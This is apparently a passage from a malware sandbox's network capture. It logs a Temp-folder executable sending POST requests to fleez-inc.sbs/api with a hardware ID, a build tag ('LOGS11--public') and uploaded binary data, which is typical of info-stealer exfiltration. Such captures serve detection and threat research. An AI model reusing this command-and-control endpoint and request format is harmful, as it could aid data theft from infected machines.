2024-11-12 20:22:12 UTC	999	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p7lo0vmv1gbmtnhj6gk8v1vtla; expires=Sat, 08-Mar-2025 14:08:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TDsKBl1F1EhQPugraC74fVTFAabe5RdpepmQOmSdaduHleD1vGNWqpPhvrDjOwRLF0tKIIxPrwks0l%2BmwrPC1QCcNDmX2nuQjS4KgQpA29Pep48nDaBZAHS6h6FB5FuV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e193b971f402e69-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1413&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=904&delivery_rate=1974096&cwnd=251&unsent_bytes=0&cid=2322778dd67686af&ts=838&x=0"
2024-11-12 20:22:12 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-12 20:22:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49809	172.67.150.243	443	7944	C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:13 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 48 Host: fleez-inc.sbs
2024-11-12 20:22:13 UTC	48	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 70 75 62 6c 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--public&j=
2024-11-12 20:22:13 UTC	1009	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=943vtn3i3ntarpf01lt4b4duao; expires=Sat, 08-Mar-2025 14:08:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qbUt9Rdtcfi1DJWguphRBooZeHcu5d%2Fmsd2jVJY0%2B5bTYw%2BM6dxuUKYuBaghascq3HyYhIOGEROEMUuUuAzR%2Bd8d1eOSEF3wubYYBBuM%2FG%2F4NlfkyrMQiUtA20nykBGi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e193b9e29f02e63-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1408&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=945&delivery_rate=2032280&cwnd=251&unsent_bytes=0&cid=46ca26df62fa287a&ts=501&x=0"
2024-11-12 20:22:13 UTC	360	IN	Data Raw: 31 64 37 36 0d 0a 2f 32 59 37 4f 67 45 6e 61 72 50 63 50 74 51 65 6c 4a 72 44 36 2f 34 52 41 58 4b 65 55 54 56 50 79 33 65 37 77 34 34 2f 72 4a 4f 45 52 45 30 59 4f 78 4e 47 6b 61 39 62 39 69 54 67 36 4c 61 4f 30 6a 4e 67 46 72 78 72 55 79 36 6e 42 4e 37 76 72 45 6e 42 73 63 55 41 57 6c 5a 79 51 6b 61 52 75 55 62 32 4a 4d 2f 68 34 59 36 51 4d 7a 74 51 2b 7a 74 58 4c 71 63 56 32 71 6a 68 54 38 44 77 6c 77 70 63 55 6d 52 45 44 74 4b 77 55 37 46 37 38 66 75 70 68 5a 64 38 61 52 2b 38 66 52 63 71 73 56 57 42 34 63 4e 61 32 50 4b 79 42 30 68 52 49 31 70 47 79 50 35 62 75 6a 79 75 75 4b 4b 4f 6e 48 31 6e 46 76 55 35 58 53 65 76 46 4e 2b 70 2f 6c 62 4b 2b 35 63 45 58 31 4e 75 54 52 72 66 75 6c 53 36 66 66 76 37 34 63 66 63 64 48 74 51 70 48 4d 45 48 36 6f 45 79 Data Ascii: 1d76/2Y7OgEnarPcPtQelJrD6/4RAXKeUTVPy3e7w44/rJOERE0YOxNGka9b9iTg6LaO0jNgFrxrUy6nBN7vrEnBscUAWlZyQkaRuUb2JM/h4Y6QMztQ+ztXLqcV2qjhT8DwlwpcUmREDtKwU7F78fuphZd8aR+8fRcqsVWB4cNa2PKyB0hRI1pGyP5bujyuuKKOnH1nFvU5XSevFN+p/lbK+5cEX1NuTRrfulS6ffv74cfcdHtQpHMEH6oEy
2024-11-12 20:22:13 UTC	1369	IN	Data Raw: 65 39 65 65 54 7a 71 49 53 52 63 32 34 61 38 7a 42 58 4b 71 4d 66 31 71 76 6f 55 4d 50 33 6e 51 51 5a 46 69 4e 43 45 4a 48 6d 48 4a 56 35 35 76 2b 74 6e 39 35 4a 49 77 2b 79 4b 68 63 71 70 56 57 42 34 65 52 59 7a 66 4b 57 43 31 70 51 61 46 63 49 77 37 68 52 73 32 37 77 2f 61 2b 44 6e 32 46 70 48 76 6f 77 58 69 61 67 45 4e 36 6c 72 42 4f 4f 39 6f 56 45 41 52 68 43 53 41 50 64 74 45 75 32 50 4f 6d 32 75 4d 6d 62 66 79 4e 49 76 44 64 57 4b 61 67 52 31 36 2f 6f 55 63 6a 2f 6b 41 74 66 55 6d 4e 43 41 74 6d 32 58 62 74 33 2b 66 69 6b 68 4a 68 31 62 78 48 35 63 78 6c 74 72 67 32 5a 2b 61 78 7a 79 66 4b 50 52 6d 78 62 62 55 73 50 78 2f 35 44 2b 47 57 32 2f 36 33 4a 78 44 4e 74 46 66 4d 68 56 6a 2b 73 47 38 75 74 36 56 76 44 38 70 4d 45 58 46 39 75 53 77 37 57 76 Data Ascii: e9eeTzqISRc24a8zBXKqMf1qvoUMP3nQQZFiNCEJHmHJV55v+tn95JIw+yKhcqpVWB4eRYzfKWC1pQaFcIw7hRs27w/a+Dn2FpHvowXiagEN6lrBOO9oVEARhCSAPdtEu2POm2uMmbfyNIvDdWKagR16/oUcj/kAtfUmNCAtm2Xbt3+fikhJh1bxH5cxltrg2Z+axzyfKPRmxbbUsPx/5D+GW2/63JxDNtFfMhVj+sG8ut6VvD8pMEXF9uSw7Wv
2024-11-12 20:22:13 UTC	1369	IN	Data Raw: 32 2f 36 33 4a 78 44 4e 76 47 66 77 34 58 53 6d 70 45 74 53 6b 37 31 72 4e 2f 4a 6f 4f 56 31 39 6e 53 51 48 63 75 46 79 78 65 50 50 71 70 49 43 51 66 79 4e 65 76 44 52 50 62 66 46 56 39 71 62 36 58 75 48 79 6a 41 30 5a 52 79 31 63 53 4e 61 79 48 4f 34 38 38 66 32 70 67 70 70 37 59 77 4c 35 50 56 77 73 6f 78 50 59 72 4f 42 62 7a 76 43 64 41 6c 56 59 5a 45 49 61 77 37 74 61 70 48 61 32 74 75 47 4f 68 44 4d 37 55 4d 6f 6a 51 44 79 2f 56 2b 79 69 34 6c 50 4a 35 39 30 62 46 30 45 6a 51 67 53 52 35 68 79 39 66 50 72 2f 71 59 2b 59 65 32 77 66 39 53 46 57 49 61 63 48 33 71 48 6c 55 38 48 39 6c 41 6c 65 56 57 68 50 42 64 57 35 58 66 59 79 74 76 2b 35 79 63 51 7a 56 51 44 78 50 33 6b 6d 70 52 79 5a 76 71 4a 45 6a 76 61 52 52 41 45 59 5a 30 6b 41 32 37 46 56 76 48 Data Ascii: 2/63JxDNvGfw4XSmpEtSk71rN/JoOV19nSQHcuFyxePPqpICQfyNevDRPbfFV9qb6XuHyjA0ZRy1cSNayHO488f2pgpp7YwL5PVwsoxPYrOBbzvCdAlVYZEIaw7tapHa2tuGOhDM7UMojQDy/V+yi4lPJ590bF0EjQgSR5hy9fPr/qY+Ye2wf9SFWIacH3qHlU8H9lAleVWhPBdW5XfYytv+5ycQzVQDxP3kmpRyZvqJEjvaRRAEYZ0kA27FVvH
2024-11-12 20:22:13 UTC	1369	IN	Data Raw: 6a 35 4d 7a 4c 56 44 37 4b 78 64 31 36 54 72 2b 6c 4b 35 38 39 4c 47 43 53 6b 41 59 5a 45 6c 49 69 66 35 51 74 58 44 2b 39 36 65 41 6b 48 6c 71 47 2f 41 34 55 79 47 67 45 4e 2b 67 36 56 6a 50 39 5a 45 4f 58 31 74 67 53 67 66 65 74 68 7a 34 50 50 48 67 34 64 48 63 56 6e 51 62 38 6a 55 58 4d 75 63 4d 6d 61 62 67 48 5a 61 78 6b 51 31 66 58 6d 5a 4a 43 64 65 32 57 62 35 34 39 2f 36 6e 69 70 4e 33 5a 68 48 7a 4e 31 73 6a 6f 78 54 59 72 65 64 53 78 66 54 64 53 68 6c 66 65 77 56 51 6b 59 39 66 6f 47 76 6d 39 4f 47 57 30 6d 6f 6a 46 2f 42 7a 44 32 32 6f 42 39 4f 72 34 6c 6a 42 39 4a 34 4c 58 6c 56 6c 53 51 4c 59 74 6c 71 35 64 65 54 37 72 59 65 62 66 57 38 65 38 54 6c 55 49 4f 6c 62 6d 61 62 30 48 5a 61 78 73 51 4e 55 64 6d 68 4a 44 35 47 68 45 71 38 38 38 66 54 Data Ascii: j5MzLVD7Kxd16Tr+lK589LGCSkAYZElIif5QtXD+96eAkHlqG/A4UyGgEN+g6VjP9ZEOX1tgSgfethz4PPHg4dHcVnQb8jUXMucMmabgHZaxkQ1fXmZJCde2Wb549/6nipN3ZhHzN1sjoxTYredSxfTdShlfewVQkY9foGvm9OGW0mojF/BzD22oB9Or4ljB9J4LXlVlSQLYtlq5deT7rYebfW8e8TlUIOlbmab0HZaxsQNUdmhJD5GhEq888fT
2024-11-12 20:22:13 UTC	1369	IN	Data Raw: 79 4d 6d 2b 79 4e 48 4c 75 73 6b 7a 36 4c 36 56 73 50 39 33 52 73 58 51 53 4e 43 42 4a 48 6d 48 4c 42 7a 2f 2f 75 75 69 4a 56 2f 62 68 58 31 4e 6c 59 72 72 52 2f 54 6f 65 70 62 7a 2f 53 58 42 31 68 53 61 6b 49 41 31 72 31 4f 39 6a 4b 32 2f 37 6e 4a 78 44 4e 4b 46 2b 34 39 52 32 32 32 57 38 44 68 36 31 47 4f 71 64 30 41 55 31 64 6e 51 67 54 58 75 31 71 37 66 66 6e 35 6f 59 61 59 65 47 6f 57 2f 54 35 53 49 4b 30 48 30 36 72 6a 55 63 66 39 6b 45 51 58 47 47 52 64 53 49 6e 2b 62 62 74 79 2b 50 2b 33 79 59 4d 39 65 6c 44 37 50 78 64 31 36 52 54 56 72 75 39 53 7a 66 4b 63 44 6b 74 4b 62 30 77 41 31 4c 4a 58 75 48 72 6b 2f 71 36 41 6e 33 42 71 46 2f 51 2f 58 53 36 75 56 5a 66 68 36 30 57 4f 71 64 30 6e 54 6b 68 75 42 52 65 66 70 78 79 78 63 4c 61 67 34 59 47 52 Data Ascii: yMm+yNHLuskz6L6VsP93RsXQSNCBJHmHLBz//uuiJV/bhX1NlYrrR/Toepbz/SXB1hSakIA1r1O9jK2/7nJxDNKF+49R222W8Dh61GOqd0AU1dnQgTXu1q7ffn5oYaYeGoW/T5SIK0H06rjUcf9kEQXGGRdSIn+bbty+P+3yYM9elD7Pxd16RTVru9SzfKcDktKb0wA1LJXuHrk/q6An3BqF/Q/XS6uVZfh60WOqd0nTkhuBRefpxyxcLag4YGR
2024-11-12 20:22:13 UTC	1369	IN	Data Raw: 4d 36 58 69 6d 68 46 74 6d 6c 36 46 72 4c 38 70 45 50 58 6c 74 73 51 51 48 66 74 31 50 32 4d 72 62 2f 75 63 6e 45 4d 30 49 4c 2f 7a 39 61 62 62 5a 62 77 4f 48 72 55 59 36 70 33 51 68 58 58 57 4e 50 44 74 57 37 57 72 78 35 39 76 4f 69 68 70 68 31 5a 78 2f 38 4f 46 34 73 72 78 44 54 71 75 70 51 7a 66 65 62 52 42 63 59 5a 46 31 49 69 66 35 38 72 58 48 36 2f 2b 47 57 30 6d 6f 6a 46 2f 42 7a 44 32 32 69 47 64 32 6d 37 46 44 4e 2b 5a 67 41 55 31 31 6a 54 52 72 5a 76 6c 75 6b 62 76 62 78 70 49 57 66 63 32 63 57 39 54 56 55 4b 65 6c 62 6d 61 62 30 48 5a 61 78 73 41 68 65 63 57 52 65 53 4d 37 77 52 66 5a 37 2b 72 6a 35 79 5a 31 34 61 52 2f 78 4d 46 45 75 6f 68 44 54 6f 4f 74 56 77 2b 4f 65 43 31 5a 63 59 30 6f 4f 31 37 39 54 73 48 76 2f 2b 61 6d 4f 33 44 30 6a 46 Data Ascii: M6XimhFtml6FrL8pEPXltsQQHft1P2Mrb/ucnEM0IL/z9abbZbwOHrUY6p3QhXXWNPDtW7Wrx59vOihph1Zx/8OF4srxDTqupQzfebRBcYZF1Iif58rXH6/+GW0mojF/BzD22iGd2m7FDN+ZgAU11jTRrZvlukbvbxpIWfc2cW9TVUKelbmab0HZaxsAhecWReSM7wRfZ7+rj5yZ14aR/xMFEuohDToOtVw+OeC1ZcY0oO179TsHv/+amO3D0jF
2024-11-12 20:22:13 UTC	345	IN	Data Raw: 71 75 52 4c 4f 72 71 77 54 6a 76 37 64 58 47 41 59 61 6b 49 54 77 4b 68 52 70 6e 75 32 78 2b 2f 4a 68 44 4d 37 55 4d 6b 77 57 53 4f 75 41 38 6a 73 79 30 76 45 39 6f 30 44 54 6c 63 6a 43 30 6a 58 2f 67 54 6c 4d 72 62 38 73 4d 6e 45 49 7a 46 4c 71 57 41 41 66 66 73 4b 6c 37 69 73 53 34 36 70 7a 30 6f 5a 53 69 4d 64 53 4a 61 39 54 71 52 36 39 65 36 69 7a 71 4a 4e 52 41 72 78 4e 55 41 38 6c 79 76 65 75 2b 46 62 32 65 44 52 45 56 70 57 62 55 49 65 6b 66 41 63 75 54 79 75 77 65 48 42 33 45 77 74 55 4f 52 7a 44 32 32 63 46 74 65 76 36 30 76 66 76 4c 6f 65 56 46 35 30 56 45 69 66 2f 6c 72 32 4a 4b 61 32 34 59 32 4e 4d 7a 74 41 72 6d 67 43 66 76 35 46 69 37 36 69 52 49 37 6e 33 56 77 4c 46 69 4e 58 53 49 6e 2b 47 37 56 75 35 50 36 69 6e 35 38 30 58 53 37 53 4e 46 Data Ascii: quRLOrqwTjv7dXGAYakITwKhRpnu2x+/JhDM7UMkwWSOuA8jsy0vE9o0DTlcjC0jX/gTlMrb8sMnEIzFLqWAAffsKl7isS46pz0oZSiMdSJa9TqR69e6izqJNRArxNUA8lyveu+Fb2eDREVpWbUIekfAcuTyuweHB3EwtUORzD22cFtev60vfvLoeVF50VEif/lr2JKa24Y2NMztArmgCfv5Fi76iRI7n3VwLFiNXSIn+G7Vu5P6in580XS7SNF
2024-11-12 20:22:13 UTC	1369	IN	Data Raw: 32 36 66 36 0d 0a 5a 62 77 4f 48 36 48 5a 61 6a 30 30 52 4c 47 44 73 46 54 39 4b 73 54 72 42 2f 34 50 76 6d 74 36 4a 77 64 52 33 7a 4f 46 59 54 6c 7a 76 55 6f 4f 39 54 6a 4d 43 4c 43 55 6c 62 5a 6b 49 32 37 37 42 62 6f 6e 76 34 2f 71 48 4a 30 6a 4e 73 55 4b 51 4b 46 32 58 70 4b 70 66 68 39 42 32 57 73 61 67 48 56 31 5a 6b 55 78 6d 63 6e 55 71 37 63 2f 33 35 34 63 66 63 64 53 4e 49 72 48 30 58 4b 62 68 56 67 66 47 2b 42 70 75 69 79 6c 51 4c 52 79 31 63 53 4d 66 2b 42 4f 51 79 74 75 72 68 30 64 77 30 62 52 33 39 4d 46 6b 75 75 77 66 66 6f 76 70 65 69 63 2b 6a 4a 56 52 54 62 30 67 48 32 6f 42 69 6c 33 48 39 39 4b 79 47 6c 30 31 64 42 66 38 39 57 53 71 2f 42 4a 6e 76 72 46 4b 4f 71 61 52 45 45 52 68 63 43 30 6a 4a 2f 67 54 32 53 66 58 32 72 34 36 4b 59 69 34 Data Ascii: 26f6ZbwOH6HZaj00RLGDsFT9KsTrB/4Pvmt6JwdR3zOFYTlzvUoO9TjMCLCUlbZkI277Bbonv4/qHJ0jNsUKQKF2XpKpfh9B2WsagHV1ZkUxmcnUq7c/354cfcdSNIrH0XKbhVgfG+BpuiylQLRy1cSMf+BOQyturh0dw0bR39MFkuuwffovpeic+jJVRTb0gH2oBil3H99KyGl01dBf89WSq/BJnvrFKOqaREERhcC0jJ/gT2SfX2r46KYi4
2024-11-12 20:22:13 UTC	1369	IN	Data Raw: 57 33 78 56 5a 36 69 2f 6b 2f 49 38 6f 73 48 48 6d 5a 64 59 42 2f 53 72 6c 71 31 51 73 6a 54 72 59 2b 62 61 57 51 57 32 68 4d 58 59 2b 6b 61 6d 66 6e 56 48 59 61 78 6f 6b 6f 5a 51 43 4d 64 53 4f 53 39 55 72 68 37 34 4f 6e 73 72 49 74 77 63 78 62 2f 63 78 6c 74 72 31 57 42 38 61 49 64 79 75 44 64 58 41 6b 4b 4f 42 42 62 68 75 34 4f 71 54 4c 76 75 4c 66 4a 78 43 45 74 55 4f 35 7a 44 32 33 75 46 73 75 7a 36 6c 37 59 38 74 6f 36 5a 33 35 67 56 41 4c 77 73 30 79 78 51 73 6a 74 6f 6f 65 53 64 48 55 42 76 48 30 58 49 75 6c 4e 34 4f 47 6b 45 63 6a 79 69 30 52 6d 46 69 4e 64 53 49 6e 2b 61 62 56 79 2b 50 2b 33 6d 4e 46 56 59 41 48 32 45 6c 6f 39 72 6c 57 58 34 65 6f 64 6c 71 4c 54 52 46 31 4a 49 78 31 59 67 2b 55 4a 35 53 75 6d 71 72 37 48 68 54 4e 31 55 4b 52 68 Data Ascii: W3xVZ6i/k/I8osHHmZdYB/Srlq1QsjTrY+baWQW2hMXY+kamfnVHYaxokoZQCMdSOS9Urh74OnsrItwcxb/cxltr1WB8aIdyuDdXAkKOBBbhu4OqTLvuLfJxCEtUO5zD23uFsuz6l7Y8to6Z35gVALws0yxQsjtooeSdHUBvH0XIulN4OGkEcjyi0RmFiNdSIn+abVy+P+3mNFVYAH2Elo9rlWX4eodlqLTRF1JIx1Yg+UJ5Sumqr7HhTN1UKRh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49810	172.67.150.243	443	7944	C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:14 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Y9SDL9JNBYN7KR9AP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18158 Host: fleez-inc.sbs
2024-11-12 20:22:14 UTC	15331	OUT	Data Raw: 2d 2d 59 39 53 44 4c 39 4a 4e 42 59 4e 37 4b 52 39 41 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 45 44 33 35 33 37 45 38 33 33 32 45 31 39 43 38 30 43 38 45 44 30 41 39 37 38 38 38 32 33 0d 0a 2d 2d 59 39 53 44 4c 39 4a 4e 42 59 4e 37 4b 52 39 41 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 59 39 53 44 4c 39 4a 4e 42 59 4e 37 4b 52 39 41 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 70 75 62 6c 69 63 0d 0a Data Ascii: --Y9SDL9JNBYN7KR9APContent-Disposition: form-data; name="hwid"AFED3537E8332E19C80C8ED0A9788823--Y9SDL9JNBYN7KR9APContent-Disposition: form-data; name="pid"2--Y9SDL9JNBYN7KR9APContent-Disposition: form-data; name="lid"LOGS11--public
2024-11-12 20:22:14 UTC	2827	OUT	Data Raw: f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
2024-11-12 20:22:15 UTC	1006	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hacf765dtjqh5fmpp479kon8u5; expires=Sat, 08-Mar-2025 14:08:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r8MYY%2FypgbxuF6ivqlRMVf9yEGv0ajtRgVENqyHd0pkYsAf6NiHoo%2FQVra9p8nUmT%2FgR5fvvoZO4jorXKg7gjmXP8iUVBKktnoxYrHztSdeyr6tXYwYCGereN1ELgxbc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e193ba7a82b7b2a-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18827&sent=17&recv=23&lost=0&retrans=0&sent_bytes=2831&recv_bytes=19116&delivery_rate=153536&cwnd=32&unsent_bytes=0&cid=1738f84c3162035d&ts=676&x=0"
2024-11-12 20:22:15 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-11-12 20:22:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49811	172.67.150.243	443	7944	C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:16 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3BYANKZTMO6X7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8755 Host: fleez-inc.sbs
2024-11-12 20:22:16 UTC	8755	OUT	Data Raw: 2d 2d 33 42 59 41 4e 4b 5a 54 4d 4f 36 58 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 45 44 33 35 33 37 45 38 33 33 32 45 31 39 43 38 30 43 38 45 44 30 41 39 37 38 38 38 32 33 0d 0a 2d 2d 33 42 59 41 4e 4b 5a 54 4d 4f 36 58 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 33 42 59 41 4e 4b 5a 54 4d 4f 36 58 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 70 75 62 6c 69 63 0d 0a 2d 2d 33 42 59 41 4e 4b 5a 54 4d 4f Data Ascii: --3BYANKZTMO6X7Content-Disposition: form-data; name="hwid"AFED3537E8332E19C80C8ED0A9788823--3BYANKZTMO6X7Content-Disposition: form-data; name="pid"2--3BYANKZTMO6X7Content-Disposition: form-data; name="lid"LOGS11--public--3BYANKZTMO
2024-11-12 20:22:16 UTC	1009	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g7u0tj2e2v4rmn59gphakjp7bb; expires=Sat, 08-Mar-2025 14:08:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Bp0Hn1yAYy8RTExeFij1IX8C3tGGn%2FcSrs%2BkFVIOF8F9SmXbSZRD4QJVWKQln9HFlhFlWSnClWW%2B%2Bd45Yyfc8Shp9SVfo5wU1nsYdE92d38liii5MzCsVS37JTbuI1BJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e193bafdf9e2e77-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1261&sent=7&recv=15&lost=0&retrans=0&sent_bytes=2830&recv_bytes=9686&delivery_rate=2311252&cwnd=251&unsent_bytes=0&cid=1f84e329abf58191&ts=699&x=0"
2024-11-12 20:22:16 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-11-12 20:22:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49813	172.67.150.243	443	7944	C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:18 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IYMKKEJXLH1T1H9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20420 Host: fleez-inc.sbs
2024-11-12 20:22:18 UTC	15331	OUT	Data Raw: 2d 2d 49 59 4d 4b 4b 45 4a 58 4c 48 31 54 31 48 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 45 44 33 35 33 37 45 38 33 33 32 45 31 39 43 38 30 43 38 45 44 30 41 39 37 38 38 38 32 33 0d 0a 2d 2d 49 59 4d 4b 4b 45 4a 58 4c 48 31 54 31 48 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 49 59 4d 4b 4b 45 4a 58 4c 48 31 54 31 48 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 70 75 62 6c 69 63 0d 0a 2d 2d 49 59 4d 4b 